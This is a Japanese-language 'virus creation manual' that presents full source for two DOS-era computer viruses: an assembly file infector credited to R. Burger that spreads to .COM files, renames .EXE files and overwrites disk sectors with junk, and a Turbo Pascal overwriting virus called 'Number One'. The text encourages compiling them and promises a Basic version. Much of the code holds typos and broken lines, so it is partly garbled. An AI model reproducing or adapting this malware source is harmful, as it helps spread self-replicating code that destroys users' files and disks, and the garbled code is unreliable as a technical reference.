*******************************************************************
              / 
              / * ｳｲﾙｽ作成ﾏﾆｭｱﾙ - 日本語版 - * / 
              / * 訳 : ***** * / 
              /
              *******************************************************************
              / 
              ｳｲﾙｽは今日、知られているほとんどのｺﾝﾋﾟｭｰﾀ言語で表現することができます。 
              けれども、以前までは効果的な ｳｲﾙｽのほとんどはｱｾﾝﾌﾞﾗ言語で書かれていまし 
              た。 

              ｳｲﾙｽはその限定された能力の為に、Basicでは書かれることはないと考えられて 
              いました。しかしそれは偽りです。Basicを正確に使えば非常に効果的なｳｲﾙｽを 
              作り出す能力を持っていることが立証されるでしょう。BasicとAssemblyが結び 
              つけば、将来、ｳｲﾙｽの有効性を強めることが可能でしょう。 

              この論文では私たちは私の興味のある B.fix、Rburger、Vallenらによって書か 
              れたAssembly、Pascal、Basic記述のｳｲﾙｽを調べることにします。これらのｳｲﾙｽ 
              ﾌﾟﾛｸﾞﾗﾑを実行する場合注意を払ってください。ｺﾝﾊﾟｲﾙ する場合は別のﾃﾞｨｽｸを 
              使ってください。 

              /* ｱｾﾝﾌﾞﾗで書かれたｳｲﾙｽの場合
              -------------------------------------- */ 

              ｱｾﾝﾌﾞﾘがｵﾍﾟﾚｰﾃｨﾝｸﾞｼｽﾃﾑｾｷｭﾘﾃｨを回避するﾕﾆｰｸな機能を持ちあわせているため, 
              大抵のｳｲﾙｽはｱｾﾝﾌﾞﾘで書かれます。この場合はMS-DOS2.1環境下で書かれたｳｲﾙｽ 
              の例ですが、後のﾊﾞｰｼﾞｮﾝでもｺﾝﾊﾟｲﾙすることはできます。文章では部分的に説 
              明するようにしています。ﾌﾟﾛｸﾞﾗﾏがもし切望されるならそれらの部分は削除し 
              てしようしてください。 

              ***********************************************************************

              ; Program Virus 
              ; Version 1.1 
              ; Writter : R. Burger 
              ; Created 1986 
              ; これはｺﾝﾋﾟｭｰﾀ･ｳｲﾙｽのためのﾃﾞﾓﾝｽﾄﾚｰｼｮﾝﾌﾟﾛｸﾞﾗﾑです。このﾌﾟﾛｸﾞﾗﾑは自分 
              ; 自身を置き換え、他のプログラムを修正する能力を持っています 
              ;**********************************************************************


              Code Segment 
              Assume CS:Code 
              progr equ 100h 
              ORG progr 

              ;**********************************************************************

              ; ３つの NOP はそれにウイルスを識別することを許すウイルスの目印バイト 
              ; の役割をします 
              ;**********************************************************************


              MAIN: 
              nop 
              nop 
              nop 

              ;**********************************************************************

              ; ﾎﾟｲﾝﾀの初期化 
              ;**********************************************************************


              mov ax,00 
              mov es:[pointer],ax 
              mov es:[counter],ax 
              mov es:[disks],al 

              ;**********************************************************************

              ; 選択可能なﾄﾞﾗｲﾌﾞの取得 
              ;**********************************************************************


              mov ah,19h ;drive? 
              int 21h 

              ;**********************************************************************

              ; 現在のﾄﾞﾗｲﾌﾞのｶﾚﾝﾄﾊﾟｽの取得 
              ;**********************************************************************


              mov cs:drive,al ;save drive 
              mov ah,47h ;dir? 
              mov dh,0 
              add al,1 
              mov dl,al ;in actual drive 
              lea si,cs:old_path ; 
              int 21h 

              ;**********************************************************************

              ; 現在存在しているﾄﾞﾗｲﾌﾞの個数の取得。もし一つの場合は検索用のﾎﾟｲﾝﾀは 
              ; ＋６と設定されます 
              ;**********************************************************************


              mov as,0eh ;how many disks 
              mov dl,0 ; 
              int 21h 

              mov al,01 
              cmp al,01 ;one drive 
              jnz hups3 
              mov al,06 

              hups3: mov ah,0 
              lea bx,search_order 
              add bx,ax 
              add bx,0001h 
              mov cs:pointer,bx 
              clc 

              ;**********************************************************************

              ; これ以上の*.comﾌｧｲﾙを発見できない時、ｷｬﾘｰが付けられます。それから、 
              ; 不要な仕事を避けるために、 *.exeﾌｧｲﾙが*.comﾌｧｲﾙにﾘﾈｰﾑされ、感染され 
              ; ます。それは、感染されやや大きい実行ﾌﾟﾛｸﾞﾗﾑをｽﾀｰﾄするとき次のｴﾗｰﾒｯｾ 
              ; ｰｼﾞを表示します。"Program to largeto fit memory" 
              ;**********************************************************************


              change_disk: 
              jnc no_name_change 
              mov ah,17h ;change .EXE to .COM 
              lea dx,cs:maske_exe 
              int 21h 
              cmp al,0ffh 
              jnz no_name_change ;.EXE found? 

              ;**********************************************************************

              ; もし、 *.comと*.exeの何れも見つからない時はｾｸﾀがｼｽﾃﾑﾀｲﾏの…ﾐﾘ秒のう 
              ; ちに上書きされるでしょう。これは記憶ﾒﾃﾞｨｱの「伝染」が完了する時間で 
              ; す。ｳｲﾙｽはその破壊や感染から何も見出すことは出来ません 
              ;**********************************************************************


              mov ah,2ch ; read system clock 
              int 21h 
              mov bx,cs:pointer 
              mov al,cs:[bx] 
              mov bx,dx 
              mov cx,2 
              mov dh,0 
              int 26h ; write crap on disk 

              ;**********************************************************************

              ; ｵｰﾀﾞｰﾃｰﾌﾞﾙの検索の終了に達したことを探知した場合は終了です 
              ;**********************************************************************


              no_name_change: 
              mov bx,cs:pointer 
              dec bx 
              mov cs:pointer,bx 
              mov dl,cs:[bx] 
              cmp dl,0ffh 
              jnz hups2 
              jmp hops 

              ;**********************************************************************

              ; 検索のｵｰﾀﾞｰﾃｰﾌﾞﾙによる新しいﾄﾞﾗｲﾌﾞを取得しそれを選択します 
              ;**********************************************************************


              hups2: 
              mov ah,0eh 
              int 21h ;change disk 

              ;**********************************************************************

              ; ﾙｰﾄﾃﾞｨﾚｸﾄﾘからｽﾀｰﾄ 
              ;**********************************************************************


              mov ah,3bh ;change path 
              lea dx,path 
              int 21h 
              jmp find_first_file 

              ;**********************************************************************

              ; ﾙｰﾄからｽﾀｰﾄした時に、最初のｻﾌﾞﾃﾞｨﾚｸﾄﾘを検索します。古い ﾃﾞｨﾚｸﾄﾘで最 
              ; 初に*.exeﾌｧｲﾙを*.comﾌｧｲﾙにｺﾝﾊﾞｰﾄします 
              ;**********************************************************************


              find_first_subdir: 
              mov ah,17h ;change .exe to .com 
              lea dx,cs:maske_exe 
              int 21h 
              mov ah,3bh ;use root directory 
              lea dx,path 
              int 21h 
              mov ah,04eh ;search for first subdirectory 
              mov cx,00010001b ;dir mask 
              lea dx,maske_dir ; 
              int 21h ; 
              jc change_disk 
              mov bx,CS:counter 
              INC,BX 
              DEC bx 
              jz use_next_subdir 

              ;**********************************************************************

              ; 次のﾃﾞｨﾚｸﾄﾘを検索する。もしそれ以上ﾃﾞｨﾚｸﾄﾘが 
              ; 見つからなかったらﾄﾞﾗｲﾌﾞを変更する 
              ;**********************************************************************


              find_next_subdir: 
              mov ah,4fh ; search for next subdir 
              int 21h 
              jc change_disk 
              dec bx 
              jnz find_next_subdir 

              ;**********************************************************************

              ; 発見したﾃﾞｨﾚｸﾄﾘを選択する 
              ***********************************************************************


              use_next_subdir: 
              mov ah,2fh ;get dta address 
              int 21h 
              add bx,1ch 
              mov es:[bx],'\` ;address of name in dta 
              inc bx 
              push ds 
              mov ax,es 
              mov ds,ax 
              mov dx,bx 
              mov ah,3bh ;change path 
              int 21h 
              pop ds 
              mov bx,cs:counter 
              inc bx 
              mov CS:counter,bx 


              ;**********************************************************************

              ; 最初に.comﾌｧｲﾙをｶﾚﾝﾄﾃﾞｨﾚｸﾄﾘ内で発見します。それらが違えば、次のﾃﾞｨ 
              ; ﾚｸﾄﾘを検索します 
              ;**********************************************************************


              find_first_file: 
              mov ah,04eh ;Search for first 
              mov cx,00000001b ;mask 
              lea dx,maske_com ; 
              int 21h ; 
              jc find_first_subdir 
              jmp check_if_ill 


              ;**********************************************************************

              ; もし、ﾌﾟﾛｸﾞﾗﾑが犯されていれば（感染されていたら）他の ﾌﾟﾛｸﾞﾗﾑを検索 
              ; します 
              ;**********************************************************************


              find_next_file: 
              mov ah,4fh ;search for next 
              int 21h 
              jc find_first_subdir 

              ;**********************************************************************

              ; 既にｳｲﾙｽに感染されたﾁｪｯｸ 
              ***********************************************************************


              check_if_ill: 
              mov ah,3dh ;open channel 
              mov al,02h ;read/write 
              mov dx,9eh ;address of name in dta 
              int 21 
              mov bx,ax ;save channel 
              mov ah,3fh ; read file 
              mov ch,buflen ; 
              mov dx,buffer ;write in buffer 
              int 21h 
              mov ah,3eh ;close file 
              int 21h 


              ;**********************************************************************

              ; このﾙｰﾁﾝは3つのNop's（NO OPERATION)を検索します。感染が既に存在して 
              ; いる時はまた検索を再開しなければなりません 
              ;**********************************************************************


              mov bx,cs:[buffer] 
              cmp bx,9090h 
              jz find_next_file 

              ;**********************************************************************

              ; このﾙｰﾁﾝはMS-DOSのﾗｲﾄﾌﾟﾛﾃｸﾄによる場合もしそれが存在しているならとて 
              ; も重要です 
              ;**********************************************************************


              mov ah,43h ;write enable 
              mov al,0 
              mov dx,9eh ;address of name in dta 
              int 21h 
              mov ah,43h 
              mov al,01h 
              and cx,11111110b 
              int 21h 

              ;**********************************************************************

              ; 読み書きのｱｸｾｽの為のﾌｧｲﾙｵｰﾌﾟﾝ 
              ***********************************************************************


              mov ah,3dh ;open channel 
              mov al,02h ;read/write 
              mov dx,9eh ;address of name in dta 
              int 21h 

              ;**********************************************************************

              ; ﾌﾟﾛｸﾞﾗﾑの日付部を読み、将来使うために保存します 
              ;**********************************************************************


              mov bx,ax ;channel 
              mov ah,57h ;get date 
              mov al.0 
              int 21h 
              push cx ;save date 
              push dx 

              ;**********************************************************************

              ; このｼﾞｬﾝﾌﾟは将来使用するために保存されたﾌﾟﾛｸﾞﾗﾑの 0100h番地に位置を 
              ; 定めます 
              ***********************************************************************


              mov dx,cs:[conta] ;save old jmp 
              mov cs:[jmpbuf],dx 
              mov dx,cs:[buffer+1] ;save new jump 
              lea cx,cont-100h 
              sub dx,cx 
              mov cs:[conta],dx 


              ;**********************************************************************

              ; ｳｲﾙｽはそれ自身をﾌｧｲﾙのｽﾀｰﾄ位置にｺﾋﾟｰします 
              ;**********************************************************************


              mov ah,57h ;write date 
              mov al,1 
              pop dx 
              pop cx ;restore date 
              int 21h 

              ;**********************************************************************

              ; ﾌｧｲﾙを閉じます 
              ;**********************************************************************


              mov ah,3eh ;close file 
              int 21h 

              ;**********************************************************************

              ; 古いｼﾞｬﾝﾌﾟｱﾄﾞﾚｽの復元。ｳｲﾙｽはｱﾄﾞﾚｽ「Conta」においてﾎｽﾄﾌﾟﾛｸﾞﾗﾑのｽﾀｰﾄ 
              ; にいたｼﾞｬﾝﾌﾟをｾｰﾌﾞします。これは可能な限り ﾎｽﾄﾌﾟﾛｸﾞﾗﾑの実行状態を維 
              ; 持するために行われます。保存した後、それは ｳｲﾙｽを含んでいられるｼﾞｬﾝ 
              ; ﾌﾟｱﾄﾞﾚｽでまた働きます。ｳｲﾙｽのｼﾞｬﾝﾌﾟｱﾄﾞﾚｽはﾒﾓﾘの ｼﾞｬﾝﾌﾟｱﾄﾞﾚｽとは異な 
              ; るので注意してください 
              ;**********************************************************************


              mov dx,cs:[jmpbuf] ;restore old jump 
              mov cs:[conta],dx 
              hops: nop 
              call use_old 

              ;**********************************************************************

              ; ﾎｽﾄﾌﾟﾛｸﾞﾗﾑの再起動 
              ;**********************************************************************


              cont db 0e9h ;make jump 
              conta dw 0 
              mov ah,00 
              int 21h 

              ;**********************************************************************

              ; ﾌﾟﾛｸﾞﾗﾑのｽﾀｰﾄでﾊﾟｽを選択し再び活動的になります 
              ;**********************************************************************


              use_old: 
              mov ah,0eh ;use old drive 
              mov dl,cs:drive 
              int 21h 

              ;**********************************************************************

              ; ﾌﾟﾛｸﾞﾗﾑのｽﾀｰﾄでﾊﾟｽを選択し再び活動的になります 
              ;**********************************************************************


              mov ah,3bh ;use old drive 
              lea dx,old_path-1 ;get old path and backslash 
              int 21h 
              ret 

              search_order db 0ffh,1,0,2,3,0ffh,00,offh 
              pointer dw 0000 ;pointer f. search order 
              counter dw 0000 ;counter f. nth. search 
              disks db 0 ;number of disks 

              maske_com db "*.com",00 ;search for com files 
              maske_dir db "*",00 ;search for dir's 
              maske_exe db offh,0,0,0,0,0,00111111b 
              db 0,"????????exe",0,0,0,0 
              db 0,"????????com",0 
              maske_all db offh,0,0,0,0,0,00111111b 
              db 0,"???????????",0,0,0,0 
              db 0,"????????com",0 

              buffer equ 0e00h ;a safe place 

              buflen equ 230h ;lenght of virus!!!! 
              ;carefull 
              ;if changing!!!! 
              jmpbuf equ buffer+buflen ;a safe place for jmp 
              path db "\",0 ;first place 
              drive db 0 ;actual drive 
              back_slash db "\" 
              old_path db 32 dup (?) ;old path 

              code ends 

              end main 

              [ END OF THIS VIRUS PROGRAM ] 

              /* Pascal で書かれたｳｲﾙｽの場合
              ------------------------------------- */ 

              Pascalは目玉が飛び出るほどのすごいｺﾝﾋﾟｭｰﾀ ･ｳｲﾙｽを作り出すことができる、 
              もう一つの高水準言語です。特にTurboPascalの使用法が必要とされています。 
              ｳｲﾙｽはしばらくの間、BBSを通して下に利用可能でした。 

              {*********************************************************************}

              {* ｳｲﾙｽ名:NO.1 *} 
              {* *} 
              {* このｳｲﾙｽを扱う場合は注意してください *} 
              {* No.1はすべての*.comﾌｧｲﾙに感染します - No.1のﾌﾟﾛｸﾞﾗﾑｺｰﾄﾞで上書きさ *} 
              {* れたﾌｧｲﾙの ﾌｧｲﾙ名は表示されます。もし、すべてのﾌｧｲﾙが感染されてい *} 
              {* たりそうでない場合は、発見された*.comﾌｧｲﾙにNo.1が与えられます *} 
              {* ﾌｧｲﾙはﾘｰﾄﾞｵﾝﾘｰ属性がかかった伝染に対しては保護されるでしょう。 *} 
              {* *} 
              {* Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) *} 
              {*********************************************************************}


              {C-} 
              {U-} 
              {I-} { Wont allow a user break, enable IO check} 

              { ** Constants
              ****************************************************** }


              Const 
              VirusSize = 12027; {Number One's code size} 

              Warning :String[42] {Warning message} 
              = 'This file has been infected ny Number One!'; 

              { ** Type declarations
              ********************************************** } 

              Type 
              DTARec =Record {Data area for file search } 
              DOSnext :Array[1..21] of Byte; 
              Attr : Byte; 
              Ftime, 
              FDate, 
              FLsize, 
              FHsize : Integer; 
              FullName: Array[1..13] of Char; 
              End; 

              Registers = Record {Register set used for file search } 
              Case Byte of 
              1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 
              2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); 
              End; 

              { ** Variables
              ****************************************************** }


              Var 
              { Memory offset program code } 
              ProgramStart : Byte absolute Cseg:$100; 
              { Infected marker } 
              MarkInfected : String[42] absolute Cseg:$180; 
              Reg : Registers; { Register set } 
              DTA : DTARec; { Data area } 
              Buffer : Array[Byte] of Byte; { Data Buffer } 
              TestID : String[42]; { To recognize infected files } 
              UsePath : String[66]; { Path to search files } 
              { Lenght of search path } 
              UsePathLenght: Byte absolute UsePath; 
              Go : File; { File to infect } 
              B : Byte; { Used } 

              { -- Program code------------------------------------------
              } 

              Begin 
              WriteLn(Warning); { Display warning message } 
              GetDir(0, UsePath); { get current directory } 
              if Pos('\', UsePath) <> UsePathLenght then 
              UsePath := UsePath + '\'; 
              UsePath := UsePath + '*.COM'; { Define search mask } 
              Reg.AH := $1A; { Set data area } 
              Reg.DS := Seg(DTA); 
              Reg.DX := Ofs(DTA); 
              MsDos(Reg); 
              UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } 
              Reg.AH := $4E; 
              Reg.DS := Seg(UsePath); 
              Reg.DX := Ofs(UsePath[1]); 
              Reg CX := $ff; { Set attribute to find ALL files } 
              MsDos(Reg); { Find first matching entry } 
              IF not Odd(Reg.Flags) Then { If a file found then } 
              Repeat 
              UsePath := DTA.FullName; 
              B := Pos(#0, UsePath); 
              If B > 0 then 
              Delete(UsePath, B, 255); { Remove garbage } 
              Assign(Go, UsePath); 
              Reset(Go); 
              If IOresult = 0 Then { If not IO error then } 
              Begin 
              BlockRead(Go, Buffer, 2); 
              Move(Buffer[$80], TestID, 43); 
              { Test if file already ill(Infected) } 
              If TestID <> Warning Then { If not then ... } 
              Begin 
              Seek (Go, 0); 
              { Mark file as infected and .. } 
              MarkInfected := Warning; 
              { Infect it } 
              BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); 
              Close(Go); 
              { Say what has been done } 
              WriteLn(UsePath + 'infected.'); 
              Halt; {.. and halt the program } 
              End; 
              Close(Go); 
              End; 
              { The file has already been infected, search next. } 
              Reg.AH := $4F; 
              Reg.DS := Seg(DTA); 
              Reg.DX := Ofs(DTA); 
              MsDos(Reg); 
              { ......................Until no more files are found } 
              Until Odd(Red.Flags); 
              Write(`'); {Give a smile } 
              End. 


              けれども、これは基本的で効果的なｳｲﾙｽです。このｳｲﾙｽの場合*.comﾌｧｲﾙだけが 
              感染します。ｳｲﾙｽのｻｲｽﾞは12KBで日付ｴﾝﾄﾘをﾁｪﾝｼﾞします。 

              Basicでのｳｲﾙｽの作成方法はまた今度の機会に…